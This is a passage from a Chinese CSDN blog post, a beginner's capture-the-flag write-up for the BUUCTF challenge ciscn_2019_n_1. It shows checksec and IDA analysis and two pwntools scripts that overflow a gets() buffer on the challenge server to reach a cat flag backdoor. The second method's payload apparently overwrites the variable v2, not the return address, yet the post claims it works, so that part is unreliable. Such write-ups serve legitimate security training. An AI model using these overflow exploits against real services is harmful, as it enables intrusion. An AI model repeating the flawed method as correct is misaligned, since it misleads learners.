BUUCTF-ciscn_2019_n_1 (新手pwner的成长日记4)

本文介绍了如何通过checksec和IDA分析识别安全漏洞,利用两种方法构造exploit:一是修改v2值使其满足条件执行cat/flag,二是溢出v1并利用system地址。着重强调了在实际题目中的解题策略是深入分析和实践
摘要由CSDN通过智能技术生成

目录

一、基本思路

1.checksec一下

2. ida分析一下

二、构造exp

1.方法一

a.获取v2的值

b.exp代码展示

c.运行结果

2.方法二

a.获取system("cat/flag")的地址

b.exp代码展示

c.运行结果

三、小结一下


一、基本思路

1.checksec一下

        NX不可执行,其余保护没有开启,shellcode方法不可用,不过没关系,这个题考点不在这里

2. ida分析一下

        虽然我们的main函数平平无奇,但是func函数可不得了system("cat/flag")后门都给你了,甚至还有个gets函数,想办法利用得了,我们的思路来到ret2text上面

二、构造exp

1.方法一

a.获取v2的值

        法一我们根据程序的逻辑来,将v2的值修改为判定条件的值,执行cat flag指令,双击v1,v2我们可以发现给参数分配的空间中v1占了0x30-0x04大小的内容,即我们需要这么多的字符将v1填满才能输入v2,而11.28125转化为十六进制为0x41348000(这里有个骚操作,看下图)

        首先找到func函数的汇编页,我们看到ucomiss指令(这就是判定v2==11.28125的那一条)我们将鼠标放在dword_4007F4上面就可以看到11.28125对应的大小

         或者双击dword_4007F4,进入以下页面

b.exp代码展示

#!/usr/bin/python3              ##这个是我使用虚拟机里面python的地址,大家自行调整

from pwn import*
v2=0x41348000
payload=b'A'*(0x30-0x04)+p64(v2)
io=remote('node5.buuoj.cn',端口)
io.sendline(payload)
io.interactive()

c.运行结果

        当然是直接返回了flag,并没有获取靶机shell权限

2.方法二

a.获取system("cat/flag")的地址

        其实还是在这一页,text目录里面,我们的汇编指令的地址,system_addr=0x4006BE,这个时候我们的payload就构建为溢出v1,然后在v2执行system指令

b.exp代码展示

#!/usr/bin/python3              ##这个是我使用虚拟机里面python的地址,大家自行调整

from pwn import*
system_addr=0x4006BE
payload=b'A'*(0x30-0x04)+p64(system_addr)
io=remote('node5.buuoj.cn',端口)
io.sendline(payload)
io.interactive()

c.运行结果

        同样是直接返回了flag

三、小结一下

        目前的题目难度仍然停留在栈溢出ret2text阶段,本题的两种方法也提示了我们,题目的答案往往藏在题目里面,需要我们多分析题目来找到解题办法,尽管实战环境下没有这么好的条件,但作为初学阶段来说,我还需要多加练习体会

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值